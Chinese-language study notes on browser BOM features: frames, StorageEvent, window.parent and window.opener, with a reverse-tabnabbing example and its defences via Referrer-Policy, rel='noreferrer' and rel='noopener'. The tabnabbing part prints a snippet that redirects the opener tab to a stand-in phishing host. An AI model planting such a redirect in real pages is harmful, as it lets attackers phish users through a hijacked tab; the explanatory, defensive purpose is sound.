BOM相关

  • window.length: 指页面中所包含的框架数量;
  • window === window.frames
  • frameElement属性是框架窗口中用来获取( iframe)框架节点自身用的: window.frames[0].frameElement.src

    StorageEvent

    Storage实例对象修改数据的时候会触发一个 StorageEvent事件,这个事件有些特别,当 事件触发后,消息会发送到打开的所有当前网站的其他页面中(当然要在同一个浏览器中), 至于是否会发送给当前页面,不同的浏览器有不同的处理方法。这里测试的结果是 IE会发 送给当前页面和所有当前网站的其他页面,而 Firefox, Chrome 以及 Opera 只发送给当前网 站的其他页面,而不会发送给当前页面。

    parent 与 opener

在说 opener 之前,可以先聊聊 iframe中的 parent。 
我们知道,在 iframe 中提供了一个用于父子页面交互的对象,叫做 window.parent, 
我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window。 
opener 与 parent 一样,只不过是用于 a target="_blank" 在新标签页打开的页面的。  
通过 a target="_blank" 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。  
浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener 对象实际上就直接是上一级的 window 对象;  
而当域名不同时,parent 和 opener 则是经过包装的一个 global 对象。  
这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。  
在iframe 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 iframe 的安全性。  

用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。  
并且,这个网站上包含着类似于这样的 JavaScript 代码:

const url = encodeURIComponent('');
window.opener.location.replace('https://a.fake.site/?' + url);
上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener 对象和 parent 一样,是受到限制的,  
仅提供非常有限的属性访问,并且在这仅有的几个属性中,
大部分也都是不允许访问的(访问会直接抛出 DOMException)。  

但是与 parent 不同的是,在跨域的情况下,opener 仍然可以调用 location.replace 方法而 parent 则不可以。


iframe中有 sandbox 属性,而链接,则可以使用下面的办法:
1. Referrer Policy 和 noreferrer
上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 Referrer Policy 头来保证来源隐私安全。
Referrer Policy 需要修改后端代码来实现,而在前端,也可以使用 a 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。
2. noopener
为了安全,现代浏览器都支持在 a 标签的 rel 属性中指定 rel="noopener",
这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null。
如果网站使用了 a target="_blank",那么新打开的标签页的性能将会影响到当前页面。
此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。
而如果在链接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

设置domain时,前面带点‘.’和不带点‘.’区别

带点:任何 subdomain 都可以访问,包括父 domain
不带点:只有完全一样的域名才能访问,subdomain 不能(但在 IE 下比较特殊,它支持 subdomain 访问)
新的规范中,显式设置 domain 时,如果 value 最前面带点,则浏览器处理时会将这个点去掉,
所以最后浏览器存的就是没有点的(注意:但目前大多数浏览器并未全部这么实现)